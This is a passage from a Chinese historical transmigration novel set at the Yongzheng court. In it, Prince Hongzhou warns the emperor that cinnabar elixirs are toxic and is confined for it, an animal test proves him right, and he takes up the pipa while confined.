兄弟俩进去后先是对着最上面的雍正行礼,坐在一边正在看书的福惠也站了起来,给两位哥哥行了一个平礼。 雍正现在正在批折子,见他们俩过来便淡淡问道:“倒是难得见你们俩同时过来,弘历不忙着过几日的婚事,现在过来是为何?” “汗阿玛,”弘历很是郑重地跪到了地上,“儿臣是想要给三哥求情的。” 弘昼也学着四哥的样子跪到了地上,旁边的福惠有点被吓到了。他对三哥没什么印象,毕竟他记事就长在了翊坤宫,对于已经成家的三哥见面甚少,只知道他惹怒了汗阿玛后被过继了。 雍正的脸色微微阴了一点:“怎么,你们觉得朕对老三太狠了?” “儿臣自然不敢这样想,”弘历低垂着头很是恭敬地说道,“雷霆雨露俱是君恩,三哥如此也是惹怒了汗阿玛,犯了忌讳的缘故。” 这话让雍正的脸色好看了点:“那你们又为何过来求情。” “虽说是三哥冒犯了汗阿玛才导致如此,可三哥到底是我们兄弟的哥哥。”弘历的声音似乎有一点悲伤,“今日去见三哥的时候却见到三哥三嫂所居之处破败,一应所用的东西也极为不堪,这才不忍心想要来求一求汗阿玛。” 弘昼低着头的嘴角微微抽了一下,四哥演得还挺像回事的。 福惠也反应过来了,连忙跑到了弘昼的旁边跪着。 “哦?”雍正的语气喜怒难辨,“你既说你是为了老三过来求情的,那之前老三针对你们的事情你们也不介意了?” “从前不过是弟兄之间的摩擦罢了,人生五指有时候都会打架呢,更何况兄弟。” 雍正眼中的冷意已经彻底消失了,他打量着跪在下面的三个儿子。对于弘历,他满意了些。 虽然才登上皇位四五年,但他已经开始有些觉得身体欠佳了。现在养心殿每日里都熬着养身体的药,他也寻了些民间道士的金丹来吃。 可总是吃的时候感觉好些,过上两三日后便没效用了。 在这个时候,即便他的心中不愿意,可还是开始考虑起了继承人的问题。福惠太小了,若是他上位必然会导致皇纲失统,大权旁落,即便他指定了辅佐大臣。可等他百年之后,又怎么能保证这个大臣不会欺凌幼主年幼呢? 也唯有十三弟能让他放心了,可十三弟如今瞧着身子还不如他。他写信叫十三弟尽力发胖了,可回来之后竟还是瘦了一圈。 所以即便心中再喜欢福惠,他也不可能在这个时候就将福惠纳入继承人的考虑之中。余下的,也就只有弘历和弘昼了。 这两个孩子中,他虽然不想承认,但他确实是更喜欢跳脱没规矩的弘昼。这小子打小就不是个懂事的,总爱惹些事出来,让他想要教训一二。但同样的,他也知道这小子不适合这个位置。 他喜欢跳脱随性,在这个位置上很多事情可以随性,但也有很多的身不由己。想来就算是将这件事同弘昼明说了,他也不一定愿意。 所以只剩下一个选择了,弘历如今还算让雍正满意。今天初知道弘历过来的缘由后他有点不高兴,弘时是他亲自过继的,过来求情岂非与他作对。可听了弘历的缘由后,他又满意了。 弘历对于同他有恩怨的弘时都能前来求情,甚至还拉着弘昼一起来。 别以为他没看到,弘昼这小子撇了好几次嘴了。 日后等弘历坐到这个位置后,想来也是能善待他的两位兄弟的。弘昼自不必说,这样从小一起长大的交情堪比他和十三了。便是对福惠,想来也是能好好照顾,能担起长兄如父的责任的。 “你们都起来吧。”雍正的语气彻底缓和了,“朕会叫允祹看顾他的。” 十二叔?弘昼微微抽了下嘴角。让这位管着宗人府的十二叔看顾似乎是很正常的,但想起前两年这位将自己额娘和懋嫔姓氏写反了就觉得有点无语。 “谢汗阿玛恩典,想来三哥定然会感念汗阿玛的恩泽。”弘历笑着说道。 弘昼今日来养心殿充了一回稻草人,觉得自己很有些乏了,想要回去在自己的小院子躺一会。 但不知道为什么,雍正今天的兴致似乎很高,叫他们兄弟俩都留下陪他用*膳。 听到这话,弘昼在心中和自己小院的躺椅说了一下抱歉。他最近是真不能得罪汗阿玛,毕竟他现在还寄希望于能在汗阿玛开心的时候提起自己能随意出宫呢。 御膳房的动作很快,这边传膳后,不久饭菜就送到了跟前来。 皇上用膳的规矩很大,这也是弘昼不喜欢和汗阿玛用膳的原因之一。他自己或者和额娘四哥用膳的时候可以自由自在,想吃什么吃什么,也可以自己夹菜。 但是在汗阿玛这里用膳,便有专门的小太监给布菜,即便是喜欢的菜也不能多吃。这也让弘昼私下里吐槽过,汗阿玛是皇上不能多用也就罢了,他一个小小的皇子又何必遵守这样的规矩。 好在这个规矩只在宫宴或者和汗阿玛用膳的时候遵守一下,其余的时候自己吃的时候不用管。 虽然规矩繁重,但汗阿玛御膳房的饭菜是真好吃,弘昼吃得也还算有滋有味。一旁的福惠看到了五哥用膳香喷喷的样子,有些惊奇地看了眼五哥面前的饭菜,又看了看自己眼前的饭菜。 明明都是一样的东西,但为什么看五哥吃起来就觉得这饭菜很好吃,但自己吃起来却浑然不是这么一回事呢? 用过膳后,弘昼漱了口便端起了茶盏抿了一口。他没有偏好的茶,喝起来都是差不多的,有时候去额娘宫里喝点小蜜水感觉也差不多。 “你们六弟如今也到了要入学的年纪了,”雍正开口,看向福惠的眼睛里满是慈爱,“只他身子欠佳,上书房功课繁重,朕怕他身子受不住。” 弘历闻弦歌而知雅意:“六弟本就是凤子龙孙,读书只要明理就是了,也不必非要读成状元。既然六弟的身子不好,首先是要养好身子,至于功课的话,随缘便是了。” 弘昼看了看福惠,这孩子今年已经六岁了,如今天气的温度不算低,但他还是穿着略显得有些厚的衣裳。脸色是苍白的,身形也较为瘦小,带出去若是说成五六岁的,想来也不会有人怀疑的。 似乎是察觉到了弘昼的目光,福惠转过来和弘昼对视上了。他的眼中闪过一丝慌乱,最后还是对着弘昼笑了一下。 弘昼收回了目光,这孩子看着确实是体弱,若是当真按照上书房的作息来,只怕没几天就要生病了。不过,这么弱的身体能练武吗? 从养心殿出来,弘昼看了看天上已经有些星星出来了。 弘历自己回毓庆宫了,弘昼则慢慢地走着去阿哥所- 弘历的大婚很是隆重,弘昼看着四哥大婚累成这样,心里很是为他点了一根蜡。因为他今天即便很累,明日里也是不能休息的,还要去后宫请安,去给祖宗烧香,还要去汗阿玛的跟前挨训。 第二日的时候,弘昼就见到了传闻中端庄娴静,动静亲和的四嫂。 四福晋面庞白皙圆润,是个很有福气的长相。一双杏眼看人的时候似乎自带两分笑意,鼻梁微挺。 “弟弟见过四嫂。”第一次见面的时候弘昼行了个平辈礼,四福晋微微避让了一下,随后回了一礼。 “这就是五弟,”弘历笑着介绍,“这小子有点混。” 弘历有点不满:“怎么四哥还在四嫂面前说我坏话呢,我怎么就混了。” “你还不混,汗阿玛都拿你没什么办法。”弘历笑道,除了拿出宫这件事拿捏一下弘昼外,雍正确是对这小子没什么办法了。 四福晋看着两兄弟打闹,看来阿玛所说的四阿哥和五阿哥之间感情好并非一句虚言。此次选秀不知为何并未给五阿哥指婚,待日后他也成婚定要和未来的弟妹好好相处了。 弘昼甚至围观了一遍四嫂给钮祜禄额娘敬茶,看着钮祜禄额娘眼神含笑,最后给出的见面礼也价值不菲的样子,想来是很是满意这个儿媳的。 成婚后弘昼也受到了些四嫂的福泽,四嫂带来的陪嫁人员不算多,但带了宫外新鲜的东西,还有他们富察家的做菜方子以及两个厨子。 三五不时便会给弘昼也送一点,让吃惯了御膳房饭菜的弘昼眼前一亮。因着这两个厨子的缘故,弘昼已经好几次去毓庆宫找四哥蹭饭了。 日子就这样过着,除了不能出宫外,弘昼觉得也还不错。每日里上朝后就是自由活动的时间了,可以去给额娘请安,陪着额娘还有钮祜禄额娘说说话,或者去找和惠,这个妹妹说话很有趣,和她玩也不错。 再不济也可以去养心殿求一求汗阿玛放他出宫,再听一听汗阿玛骂他两句。 第115章 丹药 “五弟,五弟!” 弘昼愕然地抬起头,他听出来了这是四哥的声音。四哥从成婚后就更加端得住了,像这样大老远就喊他的事情不是一般都要由他来做吗? 果不其然,弘历不多时从外面走了进来。他满面红光,眼睛里带着兴奋,唇边的笑咧开得极大,构成了一个傻乎乎的模样。 要知道弘昼自从和四哥一起进宫念书开始,就没有见过四哥这个样子。他不禁有点好奇,四哥这是遇到了什么事情这样兴奋。 “怎么了这是,你这是遇上什么好事了?”弘昼好奇。 外面的天极热,弘历从外面走进来热了一脑门子的汗。进来后小周子就感觉把屋内的冰盆往这里挪了挪,又用扇子在冰后面轻轻扇着,让凉风能吹到弘历那里去。 跟着自家主子进来的李玉对着小周子笑了笑,他们都是伺候皇子的,日常也经常能见面。平日里的关系还不错,是见面能开开玩笑的关系。 另还有机灵的人早就去厨房端上一碗桂花冰酥酪过来了,看四阿哥的样子肯定是热极了,现在端上去正好。 “我,”说起这个的时候弘历的兴奋简直按捺不住了,“我要当阿玛了,我院中的福晋和富察氏都诊出了喜脉,明年的时候我就能当阿玛了。” 弘昼微微瞪大了眼睛:“当真?” 如今弘历成婚已经快一年了,不过没什么人急他的子嗣问题,毕竟他如今才十六岁。而那富察氏是上回选秀的时候,雍正随意指过去的一个格格,听闻有些得宠,有孕了也不稀奇。 弘历重重地点了点头,这样孩子气的动作在他身上已经很少见了。 刚知道这个消息的时候,弘历还是端着的,很镇定地表示自己知道了,又吩咐了给福晋和富察格格赏赐什么东西。又着人去禀报了皇上皇后和熹妃,然后才踏着有些急促的步伐过来找了弘昼。 是到了弘昼的院门前他才表现出急切的,也是进了院子才开始喊的。 在别处要表现得沉稳持重,但是在五弟的面前就不必了。都是一起长大的兄弟,他什么样子没有人比五弟更清楚了。 “那真是恭喜你了啊。”弘昼吃了一惊后也面上带了笑意,“汗阿玛和钮祜禄额娘知道这件事了吗?” 弘历点头,身上的兴奋劲儿似乎没处发一样,点头都很是用力:“我已经着人去禀报了。” “这嫂子和小嫂子都是头一胎,”弘昼想了想,“还是需要多注意些,听闻很多人的头一胎便是不知道怀孕该注意什么,生产的时候遭了不小的罪过。还有,我听说孕期的时候是不能吃太多将自己养得太胖的,到时候若是胎儿过大了母体太受罪。这些还是要找个专门的接生嬷嬷和太医来瞧瞧,可得多注意些。” 他上辈子直到穿越都一直是单身的,对于怀孕的事情了解得不多,只能将自己道听途说的事情同四哥讲一下。在古代生孩子是半只脚踏入鬼门关的事情,但对于这些已经成婚了的女子,特别是嫁入皇家的女子来说,生孩子又是不得不干的事情。 她们年纪普遍偏小,四嫂应该是比四哥要大一岁的,如今十七了。那位富察格格就不知道了,但愿不要是十四五这样的年纪。其实还是要在二十几岁的时候生产相对安全,但这也不是她们能控制的。 弘历点头:“听闻皇额娘已经着人去内务府,让派些有经验的嬷嬷过来伺候福晋他们。” 一下子后院中有两个女子怀孕这样的事情,让弘历的兴奋一直消减不下。难得地将手头的事情都暂且放下了,在弘历这里待了一下午。 送走四哥后,弘昼望着天空中已经升起来的月亮开始了发呆。 明年就又是选秀,他在明年定然会被汗阿玛指一个福晋的。等到差不多后年就会成婚,那时候他已经十八岁了,也不知道指过来的福晋会是什么样子的。 不到一日的功夫,四阿哥后院中的福晋和格格都怀孕这件事就传遍了紫禁城。 皇上和皇后都赏赐了颇为丰厚的东西,熹妃和裕嫔也赏了不少的东西。 四福晋带着富察格格去景阳宫给熹妃请安的时候,耿执羽也正在那里和熹妃说这话。 鸾晴已经从原本的小侍女变成了景阳宫的掌事姑姑了,熹妃原本想要被一份丰厚的嫁妆将她嫁出去的。但她不愿出宫嫁人,好歹求着熹妃留在了景阳宫中,自梳当了个姑姑。 “主子,裕嫔娘娘,”鸾晴的脸上充满了笑意,“四福晋带着富察格格前来请安了。” 如今弘历的后院中只有一个福晋并着几个格格,还未有侧福晋。平日里来熹妃宫中请安的时候,四福晋少有带着几位格格的,但如今富察氏怀孕了就得带来给额娘过目一下了。 “快去叫进来,”熹妃脸上惊喜,随后便皱眉,“这样热的天怎么来了,外头这样晒,即便来也该等日头下去之后才是啊。” 不多时,四福晋便带着富察格格进来了,她们如今怀孕尽皆换成了平底鞋,走路也是小心翼翼的样子。 “儿媳给额娘请安,给耿额娘请安。” “妾身给熹妃娘娘请安,给裕嫔娘娘请安。” “快去扶起来,”熹妃说道,“你们怀孕了,这样的虚礼能免则免了,外头如今日头正大,何不等不热的时候过来。” 四福晋的脸上带着笑,她嫁进来的这一年和这个亲生婆婆相处得很不错。婆婆人很好,陪着说话的时候也不曾给人脸子看。在察觉到婆婆是这个性子后,四福晋很是松了口气,嫁了人最害怕的事情之一就是婆婆难相处了。 如今她也听出了熹妃的这话并不是客套话,遂笑道:“虽说日头大,但一路上都有宫人给咱们打着伞,倒是也晒不到什么。况且太医昨儿来还说了,我们这头一胎的若是身子好,便每日里走动走动对腹中的孩子更好些。” 问完了四福晋后,熹妃的目光又转向了富察格格。她是见过这个姑娘的,但是见面的次数不算多。 富察格格是个有些羞怯的性子,她进来之后一直低垂着头不敢看上面。在熹妃或者耿执羽问话的时候,回答的声音也是细如蚊蝇。 好在熹妃和耿执羽并不是爱磨磋磨人的性子,多少明白了这孩子羞怯之后,便不硬拉着她说话了。 将四福晋和富察格格留到了傍晚用过膳后,熹妃才让她们走,走之前又给她们赏了不少的东西。并着嘱咐了许多话,让她们能安心养胎,不论遇到什么事情,或者缺了什么,都着人来景阳宫禀报就是了。 看着四福晋和富察格格被各自的宫女搀扶着走了,耿执羽才将目光转向了熹妃:“兮兰姐姐真是好福气,这一下子就要得两个孙儿了。” “这不知不觉间,我们也到了做祖母的年纪了。”熹妃伸手摸了摸自己的头发,似乎有些惆怅,“明明似乎进潜邸还是前几日的事情,但如今咱们都成格格换成了嫔妃了。” 耿执羽靠在榻上:“谁说不是呢,前儿我娘家递了消息进来,说是我侄儿媳妇怀孕了。当真是让我愣了好一阵子呢,我进宫的时候他才刚出生不久呢,在我心里一直是小孩子,如今都已经当阿玛了。就像弘昼和弘历,总觉得他们年纪还小,但弘历也是要当阿玛了。” “你看我如今要当玛姆了,不想让弘昼也抓紧吗?”熹妃看着耿执羽笑道。 耿执羽悠悠然然地说道:“随他去吧,姐姐的孙儿便不算我的孙儿了吗?等弘昼日后自己想要成婚了,他自己会着急的,他都不急,我急什么。况且看他成日里这里逛逛,那里瞅瞅的样子,哪里就是个能当阿玛的样子。我看过几年也不错,让他成熟些。” 这话逗得熹妃更是笑了好一会儿:“你怎么把我们弘昼说成这样,明明是个好孩子,叫你说得像个无所事事的无赖似的。” 耿执羽还未搭话,外面便传来了雍正的声音。 “笑什么呢,大老远就听见你们俩说笑的声音了。” 刚进景阳宫雍正就听到了熹妃的笑声,好奇之下便按住了要禀报小宫女,直接进来了。 这声把熹妃和耿执羽都吓了一跳,她们俩在潜邸的时候就不得宠,如今进宫了也不得宠。年贵妃去了之后,雍正对后宫也淡淡的,一个月能进后宫一两次就不错了,还多是去的去年进来的那些新人那里。 坐着的和倚着的都赶紧起来行礼,雍正挥了挥手示意她们起来之后,便在熹妃原来的位置坐下了。 鸾晴很是有眼色地搬来了一把椅子,榻上只有两个位置,如今皇上坐了一个后,裕嫔娘娘就没有地方坐了。 “坐吧,”雍正很明显心情不错,“可是为了弘历的事情高兴。” “正是呢,”熹妃笑道,“四福晋才带着富察氏走了,这一下就要得两个孩子,如何能让臣妾不高兴呢。” 雍正愉悦地说道:“正是呢,朕也赏了不少的东西。熹妃你是过来人,又是弘历的额娘,一定要盯紧了,要等明年给朕抱来两个健康的孩子。” 熹妃笑着应了,耿执羽自雍正进来之后便不大出声了。她见到皇帝一般都是谈论和弘昼有关的事情,否则也不知道说什么。 等雍正嘱咐完了熹妃后,又将目光转向了耿执羽:“弘历已经有了,你便不着急弘昼的?” “儿孙自有儿孙福,”耿执羽答道,“弘昼日后也会有的。” 听到这话,雍正轻轻地叹了口气,他总觉得弘昼有很多地方都是像裕嫔的。得过且过,不上进,还有随性这些都像极了裕嫔。 之前熹妃和裕嫔在潜邸时都是格格,又都有一个阿哥。他将熹妃封妃自然有别的考量,但当时也想到了一点裕嫔可能会不满,但他不在意。 可最后瞧着裕嫔没有一点的不满,和熹妃还是和从前一般往来。便让他多少明白了弘昼的那些随性是像谁了,现在瞧着对弘昼成婚满不在意的模样就更头疼了。 “多少还是劝劝这孩子,”雍正说道,“明年选秀必是要给他指一个福晋的。” “臣妾知道了。” 聊了会儿弘历的事情,雍正便要起身走了,他前朝还有些事情要忙。加之前些日子召了几个听闻很会炼丹的道士进京,预备着今日见上一见呢。 又过了几日,弘昼来了养心殿见汗阿玛。 雍正的心情不错,见到弘昼也不训斥他了,而是将他招手过来,让他看桌子上的东西。 弘昼打眼一看,桌子上用盒子盛着三四颗的丹药。个个都饱满圆润,颜色是黑中透着红。 “过来瞧,这是新进的几个道士给朕献的,”雍正的语气愉悦,“说是用朱砂黄金辅以人参鹿茸制成的,朕偶有精神不济的时候,用了这丹药便觉得精神大振了。这样的好东西,也赐你两颗。” 朱砂?黄金? 后面的人参鹿茸听着是好东西就先不说了,可朱砂和黄金在弘昼的印象中是不能直接服用的吧。而且这朱砂好像是有毒的,又怎么能用来做成入口的东西呢。 “汗阿玛,”弘昼的眉头皱了起来,“这丹药用朱砂和黄金制成,这两样东西又怎么能入口呢,这朱砂便是有毒的。便是一时能让人精神好起来,可按长久来看,必不会对身体好的。” “他们是叫人试过药的,”雍正的语气不以为意,“看人服用了两三个月都有效后,才呈到朕面前来的。太医也给那些人诊过脉,都说是无恙的。” 弘昼还想反驳,但雍正已经将这个话题岔过去了,提起了旁的事情。 将这件事暂且压在了心底后,弘昼从养心殿出来就去了毓庆宫。 “四哥可知道汗阿玛最近在服用丹药?”弘昼一见到弘历便开始问。 弘历点头:“这个我是知道。” “可那用朱砂黄金做成的东西,又怎么能入口呢?”弘昼皱着眉。 弘历叹了口气:“你说的我又如何不知呢,可汗阿玛如今……用了之后觉得精神好了,自然就喜欢。旁的人去劝都要惹一身腥呢,你也不要去劝了。” “可是这东西用多了是会对身体有害的。”弘昼还是不高兴地说道,“叫汗阿玛这样长久地服用下去,日后积攒在身体的毒素一下子发了,肯定对身体极其不好。” “可是现在劝了汗阿玛也不听,在他面前说这些的人都被打了出去。”弘历的语气平静,“连皇额娘劝上两句都被汗阿玛怼了回去,如今不论是前朝后宫都无人敢在汗阿玛面前提这个了。” 这让弘昼有些吃惊,从前雍正也是有些信道士丹药这些的。不过都是许久后才吃一颗罢了,吃得不多,那点毒素或许是能代谢掉的。 但是现在频率高了不少,他现在在养心殿看到的关于炼丹的东西越来越多了才发觉的。可之前别人劝雍正多少还是有些用的,现在连劝都不能劝了吗? 简直就离谱! 见弘昼这不以为意,似乎准备进言的样子,弘历又嘱咐了好几遍。 弘昼勉勉强强地应了,表示自己暂时不会跟汗阿玛唱反调的。 在几日后,弘昼就见到了那位雍正现在极为尊敬的,给雍正献丹药的道士贾士芳了。 贾士芳看着四五十岁上下,面色白皙蓄着一簇长长的胡须,这胡须和头发都已经白了。面上总是带了点笑意和不自觉的高傲,即便是面对弘昼弘历这样的皇子时,也总有一副高人一等的姿态。 “老道见过两位阿哥。”贾士芳行礼的时候只是微微躬身。 弘历的眼中有一点不悦,他不喜欢这样不懂礼仪之人。 而弘昼则上下打量着这个贾士芳,声音很冷淡地问道:“就是你给汗阿玛献丹药的?” 贾士芳听出了弘昼语气中的敌意,微微一笑,语气高傲:“正是老道,老道的丹阳皇上极喜欢呢。可是五阿哥也想要找老道讨丹药,不巧了,这丹药昨儿已经全供给皇上了,若是想要,得等到下月了。” “谁要你的东西,”弘昼看着他,“拿着那些用朱砂和黄金制成的东西坑蒙拐骗,别叫我拿到你的把柄。” 贾士芳的脸色马上就变了:“五阿哥,老道的丹药是修行了多年才练出来的手艺。坑蒙拐骗这样的话,太过于折辱人了。” 这贾士芳如今在汗阿玛面前极为得脸,若是五弟和他对上是有些不智的。弘历拉住了马上就要回话的弘昼,冷静地和这个贾士芳告辞了。 “四哥!”弘昼深吸了一口气,“这家伙就是坑蒙拐骗的。” 丹药这个东西在现代已经揭秘了,很多都是重金属超标的东西。甚至可以说,很多人信这些的人最后的死因就是重金属中毒。 弘历的声音冷静:“证据呢?汗阿玛现在很是信重这个道士,甚至因为他,让淳亲王都吃了个大亏。你如今没有证据就去指责他,汗阿玛怪罪下来你也要吃亏。” 听着这话,弘昼更是心中憋着一口气。 这么多年来,雍正这个阿玛不能说做得无可挑剔,但也确实是尽了做阿玛的责任的。让弘昼看着自己爹就这样一直吃着这个重金属超标的东西,他是不可能就这样袖手旁观的。 在阿哥所左思右想了几日后,弘昼终于想到了一个法子来证明这丹药是有害的。 同时,贾士芳也在雍正面前遮遮掩掩地哭了一下有人对他的丹药进行了质疑。 第116章 肯定技惊四座的 雍正如今虽然对贾士芳很是信重,但听到他给自己儿子上眼药,还是有点不悦的。面上淡淡的,并未多言。 贾士芳见此,心里咯噔了一下,也马上收回了话头。他本以为皇上如今对他这样信任,对丹药如此渴求,若听闻有人质疑丹药必然会勃然大怒。 可见此情形,皇子的眼药不是那么好上的。 但他心中还是不太高兴,这皇五子这样嚣张,日后必然会犯错。且看那时,自己会不会落井下石就是了。 而弘昼则是主动在雍正的面前提及了丹药这件事。 “儿臣参见汗阿玛。” 弘昼的神色很是严肃,他一贯是不着调的,即便是在汗阿玛这里也很难正经起来,但这回他很想让汗阿玛相信自己,便摆出了谈正事的架势。 雍正唤了声起,又见弘昼这样严肃的样子问道:“此来何事?” “汗阿玛如今信重道士,常常服用丹药,岂不闻《旧唐书》中记载唐宪宗、唐穆宗皆服用丹药,特别是唐宪宗服丹后喜怒无常,暴虐加剧。便是前朝也有嘉靖帝的例子,可见金丹误人性命。”弘昼先是说了自己前几日就想到的例子。 他也是要读史的,先生还要将史书与他们一一讲明,如今举出历史上吃了丹药的例子还是很容易。 雍正听到这话,已经很不高兴了。 这段时间劝他不要吃丹药的人不少,甚至十三弟都委婉劝过一回。但没人敢用嘉靖来做比,他很不高兴这个比喻。 但弘昼的话还没说完:“《本草纲目》中也曾提到,丹药岂可久服,甚至记载了多例长久吃丹药七窍流血的例子。” 砰! “你这是在咒朕吗?!” 雍正气得站了起来,将书案上的东西扫落在地上。一旁伺候的宫女太监都吓得不轻,跪倒在了地上。连苏培盛都被吓了一跳,甚少见皇上生这样大的气。 皇上是容易发火不假,但像这样大的火还是少见的。五阿哥果然有本事啊,其余人做不到的事情他轻易就做到了。 “儿臣自然不敢,”弘昼也跪下了,但他的头抬了起来目光直视着雍正,“儿臣只是想要汗阿玛保重身体,这丹药虽起了一时之效,叫汗阿玛觉得舒服些。但史书医术中这般多的记载,已说明了这东西长久服用弊端太大,还请汗阿玛停用此丹药。” 雍正被气得胸膛不停地起伏着,他指着弘昼的手指都有些颤抖。 “这丹药主要是朱砂制成,可这朱砂在《神农本草经》中被判为下品,甚至《黄帝内经》也警告石药发癫。汗阿玛,这么多的医术都这样记载,您却只信一个道士不成?若汗阿玛不信,便要这个道士依旧按照平日里进献丹药,但找一只猪、羊来,将丹药喂给这个猪、羊,且看对它们是否无碍。” “倘若对它们无碍,那儿臣今日便是大放厥词,汗阿玛如何责罚都甘愿领受。”说到这里的时候,弘昼都忍不住流下了一行泪来,重重地将头磕到了地上,发出了响声。 雍正看着下面的弘昼,情绪渐渐地平复了下来。虽然弘昼举的例子很是大逆不道,但总体来说还是担忧自己身子的。纵使有罪,也不该太过重罚。 但是不罚这小子又实在心中堵得慌,雍正咬着牙说道:“将他押回阿哥所,禁足!非朕之令,不可叫人轻易探视。” 弘昼将脑袋抬了起来:“汗阿玛要将儿臣禁足,儿臣不敢有怨言,但是这丹药之事还请汗阿玛慎重。” 雍正挥了挥手,马上便有小太监上前将这位爷拖了下去。 天爷啊,五阿哥到底是为什么敢在皇上面前大放厥词。还拿嘉靖帝做比,这位的评价也算不得好。皇上这样勤政的主子,很是看不上多年不上朝的皇帝。 雍正在弘昼被拖走以后,缓缓地坐到了椅子上。胸膛还剧烈地起伏着,这说明弘昼刚刚说的话对他影响还是很大的。他心中不禁开始思考了起来,自己如今对于丹药的依赖,当真像嘉靖帝吗? 苏培盛偷偷看了一眼雍正,继续低眉敛目地伺候着。现在皇上的心情可不算好,他待自己儿子还能只是禁足,但他们这些下人要是在这时候惹到了皇上,下场可就没有五阿哥这么好了。 五阿哥从养心殿被押回阿哥所的事情很快就传遍了前朝后宫,这让弘历惊呆了。他立刻就跑去了阿哥所想要问问五弟,到底是怎么得罪了汗阿玛,竟然直接禁足了。 但守在弘昼院外的侍卫很是为难地表示了,皇上不许叫人随意探视。除了内务府送东西的能送进去,其余的人一概不许进去。 这让弘历无法,他想直接去找汗阿玛求情,却又不知道弘昼具体是犯了什么事让汗阿玛这么恼火。五弟长这么大以来,受过最大的责罚也就是汗阿玛骂他两句了,哪里经受过禁足这样严重的惩处。 后宫的众人也收到了这个消息,听闻这个消息后齐妃拖着病体爬了起来,专程来了一趟耿执羽的钟粹宫冷眼嘲讽了几句。她总觉得自己的弘时落得这样的下场,与他下面的两个讨好雍正的弟弟脱不开干系。 现在见到弘昼落难后,便忍不住过来嘲讽耿执羽。 耿执羽此时也是方寸大乱,她想不到弘昼是犯了什么事让皇上这样责罚。这让她不禁想到了那位被革去黄带子的三阿哥,皇上对长子都能这般,她的弘昼…… 听到这个消息后的熹妃第一时间就来了钟粹宫,见齐妃进来嘲讽后三两句将齐妃堵了回去。然后才进了殿内,拉着耿执羽安慰。 “你且放宽心,”此时其余的人都被赶出去了,殿内只剩下了耿执羽和熹妃,就宛如她们从前在潜邸时一般,“皇上如今只有三个儿子,是断然不会随意将弘昼如何的。况且弘昼又能犯什么大错呢,想来即便是禁足,过几日皇上怒气消了也就将他放出来了。” 熹妃温言细语地说道:“况且还有弘历呢,等他寻了个时机,便给弘昼求情。” “兮兰姐姐,”耿执羽的手紧紧地抓着熹妃的手,“可我想着三阿哥的下场,我就怕。” “三阿哥那是犯了多少次错,”熹妃说道,“从前在潜邸就不止禁足一次了,还挨了几次板子呢。进宫了更是糊涂了,还帮着罪人说话。弘昼从小就不是糊涂的人,想来只是言语不谨,才让皇上怒了。你看这只是禁足,连板子都没打,甚至内务府一应供应也不曾短缺,就能看出皇上虽怒,但也未怒到极致。” “等过上几日皇上怒气消了,再让弘历去求求情,想来这件事也就过去了。” 听着熹妃的安慰,耿执羽才慢慢地平静下来,有些埋怨:“也不知道这孩子到底说了什么,日后我定要好好教训他,让他说话做事要三思而后行。” 见耿执羽终于从之前担忧害怕的情景中出来了,熹妃笑道:“是该好好教训一下,到时候出来了叫弘昼来妹妹宫里跪着听训,不听教训不许起来。” 外面的人都在担忧,但弘昼在阿哥所的日子其实过得还不错。 虽然不能出去了,但是里面什么东西都有。他看看书,躺在摇椅上看看天空,甚至院中还种了几株花,叫他能过去瞧瞧不一样的颜色。 除了有点无聊外,其余的物质是一概不缺的。 他这次圈禁主要是说话的时候太放肆,把雍正和嘉靖做比了。不过他倒是不后悔,毕竟嘉靖实在是太典型的例子,不举不行。再者,不讲话说得狠一点,汗阿玛说不定根本就听不进去。 被禁足了三日后,弘昼甚至无聊地翻了本乐谱出来。也不知道是什么时候收入他书房中的,他在找书看的时候翻出来了。兴起之下,便让小周子去库房找了个乐器出来想要试着弹奏一下。 他平日里对音律没有什么特别的爱好,库房里自然也没有收录太多的乐器。小周子找了一阵子后,找出来了一把琵琶。 弘昼接过琵琶试了试,真不愧是大珠小珠落玉盘的乐器,声音真好听。 正好被禁足的时候无聊,他就着乐谱开始自学弹琵琶。这院中有个小太监从前家中是唱戏的,倒是会些乐理,虽然会得不多,但弘昼好歹跟着他学了怎么看乐谱,怎么用琵琶弹出来宫商角徵羽。 一开始学,弘昼就沉浸在了乐器中。 但这可苦了他院中还有守在院外的侍卫了,像这种弦乐,在未弹出点名堂之前,听上去都是很折磨耳朵的。而弘昼甚至于没有一个正经的师傅,跟着乐谱谈多是跟着性子谈,这乱弹一气儿的情况下就是更折磨耳朵了。 除了贴身伺候的小周子外,旁的不需要再弘昼身边常常伺候的人都给自己预备了两团的棉花,可以随时堵着耳朵。 但守在外面的侍卫可就遭罪了,他们要警醒,就不能将耳朵堵起来。但听着里面传出来的断断续续的难听声音,只觉得守在五阿哥的门口比守在冷宫门前都难受。 “穆昆哥,你说皇上什么时候会把五阿哥放出去啊。”一个侍卫实在有些忍不住了,问着旁边那个侍卫。 旁边的那个侍卫双目无神,声音茫然:“不知道,但愿快些吧,或者把咱们调回去也不错。” 此时的弘历多少也打听出来了些弘昼是因为什么被禁足的,他在雍正的面前委婉劝了两回,但雍正还是没有要放弘昼出来的意思,只能等着过半个月就是端午了,到时*候劝汗阿玛将五弟放出来或许可行。 雍正虽然将弘昼赶出去还禁足了,但也将他的话听入了耳中的。还是令贾士芳继续进献丹药,但却自己不吃了,而是命人日日将丹药喂给了一只羊。 那只羊每日里都吃,最开始的时候与正常的羊无异,甚至于精神更好些。但过了不到半个月便全身性震颤,易怒,经常撞击羊圈。甚至于羊毛的皮下皮肤溃烂,嘴巴也牙龈肿起出血,不到一个月后这只羊就死了。 这让雍正的浑身出了一身的冷汗,他看着桌面上贾士芳还有其余道士进献而来的丹药。他精神不济的时候吃了丹药便会觉得好受不少,精神也好了许多,便有些依赖这东西。 现在看见那只吃了丹药的羊的下场,便在想他若是也是日日都吃,会不会落得一样的下场。他现在十天半个月吃一粒,毒性慢慢地在身体中,待天长日久,便会如那只羊一般。 得到了这个结果的雍正心中惶惶,他下令将那几个养在圆明园的道士都打了五十大板后逐了出去,赐了贾士芳毒酒。并下令各个官员不许再给他引荐道士,违者重罚。 他现在是知道弘昼说得是对的了,想要将弘昼放出来又有点抹不开面子。 可弘历在求过两次情后就不再提及这件事,让雍正也暂时没有借口将弘昼放出来。宣召弘昼门口的侍卫前来过问后,得知了这小子现在整日里在院中弹琵琶,心中略放心了些。 待到端阳前几日时,弘历又前来面圣了,言语委婉地提及了端午到时候一家子吃饭的时候见不到五弟岂不是少了一人。本来以为还要费些功夫才能说服汗阿玛将五弟从阿哥所放出来,但没想到雍正听到之后就直接同意了让弘昼出来。 弘昼从阿哥所走出来的时候,信心已经爆棚了,觉得自己苦练了一个多月的琵琶肯定能技惊四座。 到时候端阳表演给汗阿玛和四哥看看,肯定能给他们一个大惊喜的。 第117章 弹琵琶 